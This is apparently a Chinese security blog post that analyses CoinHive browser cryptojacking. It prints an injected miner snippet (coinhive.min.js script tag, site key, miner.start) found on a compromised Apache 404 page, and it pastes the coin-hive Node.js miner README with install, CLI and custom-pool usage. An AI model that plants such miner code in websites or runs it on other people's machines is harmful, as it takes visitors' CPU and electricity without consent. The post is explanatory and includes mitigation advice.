CoinHive挖矿原理分析——后端是nodejs服务,前端直接miner.start即可

https://www.shodan.io/search?query=body%3D%22miner.start%22

 

 

123.56.145.220

 
HTTP/1.1 200 OK
Date: Sun, 12 Jun 2022 11:19:34 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Wed, 03 Oct 2018 19:41:11 GMT
ETag: "2f2-5775838736347"
Accept-Ranges: bytes
Content-Length: 754
Vary: Accept-Encoding
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 T...

点击进去看了404页面都被挂了挖矿木马。。。。GG
看下源码:
<html xmlns="http://www.w3.org/1999/xhtml"><!--
    Modified from the Debian original for Ubuntu
    Last updated: 2014-03-19
    See: https://launchpad.net/bugs/1288690
  --><head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Apache2 Ubuntu Default Page: It works</title>
  </head>
  <body>
    <script src="https://coin-hive.com/lib/coinhive.min.js"></script>
    <script type="text/JavaScript">
      var miner = new CoinHive.Anonymous('TtAdFndBvqCqZEHyETKRgtSkuGFsZm2I',{throttle: 0.15});
      miner.start(CoinHive.IF_EXCLUSIVE_TAB);
   </script>
   <h1>404</h1>
  

</body></html>

 ==》不过并没有挖矿成功!!!因为coinhive停止服务了!!!

 

为啥呢?看看 https://coinhive.com/lib/coinhive.min.js 内容:


// Credit to https://w3bits.com/javascript-modal/

let createModal = (modalContent) => {
  let modal = document.createElement('div'),
    modalStyle = document.createElement('style'),
    modalCSS = '.js-modal{ position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background-color: rgba(0, 0, 0, .8); width: 100%; height: 100%; z-index: 999999; } .js-modal-inner{ background-color: rgba(174, 145, 93, .9); position: relative; padding: 50px; font-size: 24px; max-width: 650px; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #000; border-radius: 10px; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; line-height: normal; text-align: center; }  .js-modal-inner a { color: #000; text-decoration: underline; }',
    theBody = document.getElementsByTagName('body')[0],
    theHead = document.getElementsByTagName('head')[0];

  // Add content and attributes to the modal
  modal.setAttribute('class', 'js-modal');
  modal.innerHTML = '<div class="js-modal-inner">' + modalContent + '</div>';
  theBody.appendChild(modal);

  // Add the modal styles dynamically
  if(modalStyle.styleSheet){
    modalStyle.styleSheet.cssText = modalCSS;
  } else {
    modalStyle.appendChild(document.createTextNode(modalCSS));
  }
  theHead.appendChild(modalStyle);
}

// Show it up when loading starts
window.addEventListener('load', function() {
  let url = 'https://www.troyhunt.com/i-now-own-the-coinhive-domain-heres-how-im-fighting-cryptojacking-and-doing-good-things-with-content-security-policies';
  createModal('This website attempted to run a cryptominer in your browser. <a href="' + url + '">Click here for more information</a>.');
  setTimeout(function(){ location.href=url; }, 5000);
});

 就是说网站挖矿业务已经死翘翘了。

 

下面是coinhive停止服务的新闻:

2017年9月是公认的加密货币挖矿元月。网站所有者可以利用用户访问网站来进行加密货币挖矿的想法并不少见,但Coinhive的出现让这种想法变得更加简单和主流。

这种挖矿服务一夜之间变得家喻户晓,其API的使用不需要用户同意也不消耗过多CPU。因此,攻击者逐渐开始滥用这项服务来将被黑的站点和路由器变成非法挖矿生意的一部分。但好景不长,Coinhive从2019年3月开始停止服务,基于浏览器的挖矿活动平稳下滑。

本文主要关于基于web的加密货币挖矿,不涉及仍在感染PC、mac和服务器的挖矿恶意软件。

Coinhive宣布从今年3月8日开始停止服务,但研究人员仍然检测到上千个与Coinhive相关的域名请求块。上周,统计数据表明每天平均有50000个块。

 

 

 

 

服务停止后几天流量就达到了峰值,然后开始下滑和随后稳定。

研究人员深入分析发现大量的网站和路由器并没有清理相关的代码,请求Coinhihve库的JS代码也仍然在。随着停止服务,客户端和服务器之间接收和发送数据的必要的WebSocket无法连接到服务器,导致0挖矿或0收入。

 

 

 

 

被黑的站点请求Coinhive的web请求,但是无法连接到后台

-----------------------------------------------------------------------------
 
 
JS恶意挖矿的小小解析
 

AndyNoel 2021-11-30 17:47:21

99747

前言

最近在学校各方面都不顺利,感情上啊,学习上啊。。。。。。开学到现在就没怎么上过课,感觉期末要挂科了,孩子很慌=_=

发现

之前打CTF的时候,发现自己在信息搜集方面有所欠缺,于是乎去学习了一番Google语法,搭配fofa,就交了几个cnvd和edu src,但是后来在学习的时候,伴随着CPU的升高,发现一段很有意思的前端代码。
2BD0ADEE177B1A36D3711F2DC737DA2B.png

啊这。。。这熟悉的单词miner,莫非遇到黄金矿工了???

分析

CoinHive

之前就有听说CoinHive,是提供一个用来挖矿的JS引擎,在被攻击网站上的网页内嵌一段JS代码,只要有人访问被攻击网站,挖矿程序就会在浏览者的电脑上工作,占用大量的系统资源。但我还真没仔细研究过,所以写一下自己的理解:

CoinHive的实现,得从一篇论文讲起:

The JavaScript Supply Chain Paradox: SRI, CSP and Trust in Third Party Libraries ——Troy Hunt

(JavaScript 供应链悖论:第三方库中的 SRI、CSP 和Trust)

其中开篇的部分内容,讲述了JS代码嵌入导致的的一个问题,我也拿个例子简单描述一下:

<script src="https://github.com/xxx/xxx/xxx.js"type="text/javascript"></script>

如果在某网站的前端之中嵌入以上代码,这个标签位于github上xxx/xxx的源代码中,可以直接从该Github项目之中提取脚本。

试想一下,如果可以修改该脚本并随后在网站上执行自己的任意 JavaScript,那还能发生什么呢?简单的回答 - 几乎任何事情。修改 DOM、重定向用户、加载外部内容、要求访问者安装软件、添加键盘记录器并获取任何非 HTTP 专用 cookie。

CoinHive差不多就基于这个原理,第三方库中的 SRI、CSP 和Trust,其中有人破坏了服务上的 JS 文件并注入了 Coinhive 脚本进去——包含了来自 coinhive.com 的 .js 文件和 32 字节密钥的设置。这就是攻击者需要做的所有事情——包括 Coinhive JS,添加他们的密钥,如果他们愿意,还可以切换一些配置。就是这样,工作完成,即时加密!

具体流程

* 首先得拿到网站的控制权限,植入恶意JS代码。============》这种应该就是属于直接使用coinhive的矿池了。
* 你还得有一个门罗币的钱包地址
* 在CoinHive上注册一个账号,并获得Key
* 将Key替换到JS代码之中

现象

image

人们往往不喜欢广告,反正,我也是这样(至少不是那些侵犯隐私和带宽的垃圾邮件),但我也喜欢网络上的免费内容,这就是问题所在:如果内容制作者不能在网页上投放广告,那他们如何通过他们的作品获利?很自然,“利用用户的 CPU 能力将您的业务货币化”,这是 Coinhive 的作案手法。

CoinHive不完全是投放广告,而是将基于 JavaScript 的加密货币矿工放在浏览者身上。。。当访问者他们坐在那里阅读内容时,就会正在他们的机器上收获门罗币。他们为 CPU 周期付费以将钱放入门罗币地址所有人的口袋之中。

这样的挖矿方法确实巧妙!但是这有两个大问题,第一个可能很明显:这是一种低劣的商业模式,利用人们的电费来谋取站点运营商的个人利益。它可能只是对它们进行了一点利用,但它仍然感觉非常阴暗。。。。。。

第二个问题是,由于加密货币的匿名性,每个黑客都想将 Coinhive 放在他们能够运行自己的任意 JavaScript 的任何网站上。

让我们看一下fofa上的搜索结果:

image.png

image.png

可以看出,全球有大量的网站遭受了这种恶意攻击。

解决方案

运营方:

最好使的是及时修复网站漏洞;

记得及时检查网站的恶意流量;

安装靠谱的服务器安全防护软件;

浏览者:

开启浏览器内置拦截功能;

自己直接在前端删除挖矿代码;

 

然后我们看看coin hive的原理:后端nodejs服务器运行连接矿池代码,前端js直接miner.start即可。

CoinHive Build Status

Mine cryptocurrencies Monero (XMR) and Electroneum (ETN) using CoinHive from node.js

New: Now you can run this miner on any stratum based pool.

New 2: Now you can mine Electroneum (ETN).

Need a proxy? check coin-hive-stratum.

 

Install

npm install -g coin-hive

 

Usage

const CoinHive = require('coin-hive');

(async () => {
  // Create miner
  const miner = await CoinHive('ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'); // CoinHive's Site Key

  // Start miner
  await miner.start();

  // Listen on events
  miner.on('found', () => console.log('Found!'));
  miner.on('accepted', () => console.log('Accepted!'));
  miner.on('update', data =>
    console.log(`
    Hashes per second: ${data.hashesPerSecond}
    Total hashes: ${data.totalHashes}
    Accepted hashes: ${data.acceptedHashes}
  `)
  );

  // Stop miner
  setTimeout(async () => await miner.stop(), 60000);
})();

 

CLI

Usage:

coin-hive ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00  ==》命令行也是可以滴!

Options:

  --username        Set a username for the miner
  --interval        Interval between updates (logs)
  --port            Port for the miner server
  --host            Host for the miner server
  --threads         Number of threads for the miner
  --throttle        The fraction of time that threads should be idle
  --proxy           Proxy socket 5/4, for example: socks5://127.0.0.1:9050
  --puppeteer-url   URL where puppeteer will point to, by default is miner server (host:port)
  --miner-url       URL of CoinHive's JavaScript miner, can be set to use a proxy
  --dev-fee         A donation to the developer, the default is 0.001 (0.1%)
  --pool-host       A custom stratum pool host, it must be used in combination with --pool-port
  --pool-port       A custom stratum pool port, it must be used in combination with --pool-host
  --pool-pass       A custom stratum pool password, if not provided the default one is 'x'

 

API

  • CoinHive(siteKey[, options]): Returns a promise of a Miner instance. It requires a CoinHive Site Key. The options object is optional and may contain the following properties:

    • username: Set a username for the miner. See CoinHive.User.

    • interval: Interval between update events in ms. Default is 1000.

    • port: Port for the miner server. Default is 3002.

    • host: Host for the miner server. Default is localhost.

    • threads: Number of threads. Default is navigator.hardwareConcurrency (number of CPU cores).

    • throttle: The fraction of time that threads should be idle. Default is 0.

    • proxy: Puppeteer's proxy socket 5/4 (ie: socks5://127.0.0.1:9050). ==》居然支持代理!!!

    • launch: The options that will be passed to puppeteer.launch(options). See Puppeteer Docs.

    • pool: This allows you to use a different pool. It has to be an Stratum based pool. This object must contain the following properties:

      • host: The pool's host.

      • port: The pool's port.  ==》看到了吧,设置矿池是在服务端做的!!!

      • pass: The pool's password. If not provided the default one is "x".

    • devFee: A donation to send to the developer. Default is 0.001 (0.1%).

  • miner.start(): Connect to the pool and start mining. Returns a promise that will resolve once the miner is started.

  • miner.stop(): Stop mining and disconnect from the pool. Returns a promise that will resolve once the miner is stopped.

  • miner.kill(): Stop mining, disconnect from the pool, shutdown the server and close the headless browser. Returns a promise that will resolve once the miner is dead.

  • miner.on(event, callback): Specify a callback for an event. The event types are:

    • update: Informs hashesPerSecond, totalHashes and acceptedHashes.

    • open: The connection to our mining pool was opened. Usually happens shortly after miner.start() was called.

    • authed: The miner successfully authed with the mining pool and the siteKey was verified. Usually happens right after open.

    • close: The connection to the pool was closed. Usually happens when miner.stop() was called.

    • error: An error occured. In case of a connection error, the miner will automatically try to reconnect to the pool.

    • job: A new mining job was received from the pool.

    • found: A hash meeting the pool's difficulty (currently 256) was found and will be send to the pool.

    • accepted: A hash that was sent to the pool was accepted.

  • miner.rpc(methodName, argsArray): This method allows you to interact with the CoinHive miner instance. It returns a Promise that resolves the the value of the remote method that was called. The miner instance API can be found here. Here's an example:

var miner = await CoinHive('SITE_KEY');
await miner.rpc('isRunning'); // false
await miner.start();
await miner.rpc('isRunning'); // true
await miner.rpc('getThrottle'); // 0
await miner.rpc('setThrottle', [0.5]);
await miner.rpc('getThrottle'); // 0.5

 

Environment Variables

All the following environment variables can be used to configure the miner from the outside:

  • COINHIVE_SITE_KEY: CoinHive's Site Key

  • COINHIVE_USERNAME: Set a username to the miner. See CoinHive.User.

  • COINHIVE_INTERVAL: The interval on which the miner reports an update

  • COINHIVE_THREADS: Number of threads

  • COINHIVE_THROTTLE: The fraction of time that threads should be idle

  • COINHIVE_PORT: The port that will be used to launch the server, and where puppeteer will point to

  • COINHIVE_HOST: The host that will be used to launch the server, and where puppeteer will point to

  • COINHIVE_PUPPETEER_URL: In case you don't want to point puppeteer to the local server, you can use this to make it point somewhere else where the miner is served (ie: COINHIVE_PUPPETEER_URL=http://coin-hive.herokuapp.com)

  • COINHIVE_MINER_URL: Set the CoinHive JavaScript Miner url. By defualt this is https://coinhive.com/lib/coinhive.min.js. You can set this to use a CoinHive Proxy.

  • COINHIVE_PROXY: Puppeteer's proxy socket 5/4 (ie: COINHIVE_PROXY=socks5://127.0.0.1:9050)

  • COINHIVE_DEV_FEE: A donation to the developer, the default is 0.001 (0.1%).

  • COINHIVE_POOL_HOST: A custom stratum pool host, it must be used in combination with COINHIVE_POOL_PORT.

  • COINHIVE_POOL_PORT: A custom stratum pool port, it must be used in combination with COINHIVE_POOL_HOST.

  • COINHIVE_POOL_PASS: A custom stratum pool password, if not provided the default one is 'x'.

 

FAQ

 

Can I run this on a different pool than CoinHive's?

Yes, you can run this on any pool based on the Stratum Mining Protocol.

const CoinHive = require('coin-hive');
(async () => {
  const miner = await CoinHive('<YOUR-MONERO-ADDRESS>', {
    pool: {
      host: 'la01.supportxmr.com',
      port: 3333,
      pass: '<YOUR-PASSWORD-FOR-POOL>' // default 'x' if not provided
    }
  });
  await miner.start();
  miner.on('found', () => console.log('Found!'));
  miner.on('accepted', () => console.log('Accepted!'));
  miner.on('update', data =>
    console.log(`
    Hashes per second: ${data.hashesPerSecond}
    Total hashes: ${data.totalHashes}
    Accepted hashes: ${data.acceptedHashes}
  `)
  );
})();

Now your CoinHive miner would be mining on supportXMR.com pool, using your monero address.

You can also do this using the CLI:

coin-hive <YOUR-MONERO-ADDRESS> --pool-host=la01.supportxmr.com --pool-port=3333 --pool-pass=<YOUR-PASSWORD-FOR-POOL>
==》和xmrig的用法几乎没有区别。

 

Can I mine other cryptocurrency than Monero (XMR)?

Yes, you can also mine Electroneum (ETN), you can actually mine on any pool based on the Stratum Mining Protocol and any coin based on CryptoNight.

You can go get you ETN wallet from electroneum.com if you don't have one.

const CoinHive = require('coin-hive');
const miner = await CoinHive('<YOUR-ELECTRONEUM-ADDRESS>', {
  pool: {
    host: 'etn-pool.proxpool.com',
    port: 3333
  }
});
miner.start();

Now your CoinHive miner would be mining on etn.proxpool.com pool, using your electroneum address.

You can also do this using the CLI:

coin-hive <YOUR-ELECTRONEUM-ADDRESS> --pool-host=etn-pool.proxpool.com --pool-port=3333

One of the features of Electroneum is that it has a difficulty of 100, while CoinHive's is 256.

 

Can I run this on Heroku?

No, it violates the TOS.

Also, since Puppeteer requires some additional dependencies that aren't included on the Linux box that Heroku spins up for you, you need to go to your app's Settings > Buildpacks first and add this url:

https://github.com/jontewks/puppeteer-heroku-buildpack

On the next deploy, your app will also install the dependencies that Puppeteer needs to run.

 

Can I run this on Docker?

You'll need to install the latest version of Chrome and Puppeteer's dependencies in your Dockerfile:

FROM node:8-slim

# Install latest chrome and puppeteer dependencies
RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - &&\
sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list' &&\
apt-get update &&\
apt-get install -y google-chrome-unstable gconf-service libasound2 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 libnss3 lsb-release xdg-utils wget

# Install coin-hive
RUN npm i -g coin-hive --unsafe-perm=true --allow-root

# Run coin-hive
CMD coin-hive <site-key>

 

Which version of Node.js do I need?

Node v8+

 

Troubleshooting

 

I'm having errors on Ubuntu/Debian

Install these dependencies:

sudo apt-get -y install gconf-service libasound2 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 libnss3 lsb-release xdg-utils wget libxext6

 

I'm getting an Error: EACCES: permission denied when installing the package

Try installing the package using this:

sudo npm i -g coin-hive --unsafe-perm=true --allow-root

 

An error occured Failed to launch chrome!

Try changing chromium's executable path to /usr/bin/chromium-browser, like this:

const miner = await CoinHive('site-key', {
  launch: {
    executablePath: '/usr/bin/chromium-browser',
    args: ['--disable-setuid-sandbox', '--no-sandbox']
  }
});

For more info check issue #54

 

Disclaimer

This project is not endorsed by or affiliated with coinhive.com in any way.

 

Support

This project is pre-configured for a 0.1% donation. This can be easily toggled off programatically, from the CLI, or via environment variables. If you do so, but you still want to show your support, you can buy me a beer with magic internet money:

BTC: 16ePagGBbHfm2d6esjMXcUBTNgqpnLWNeK
ETH: 0xa423bfe9db2dc125dd3b56f215e09658491cc556
LTC: LeeemeZj6YL6pkTTtEGHFD6idDxHBF2HXa
XMR: 46WNbmwXpYxiBpkbHjAgjC65cyzAxtaaBQjcGpAZquhBKw2r8NtPQniEgMJcwFMCZzSBrEJtmPsTR54MoGBDbjTi2W1XmgM

<3

posted @ 2022-07-20 14:44  bonelee  阅读(578)  评论(0编辑  收藏  举报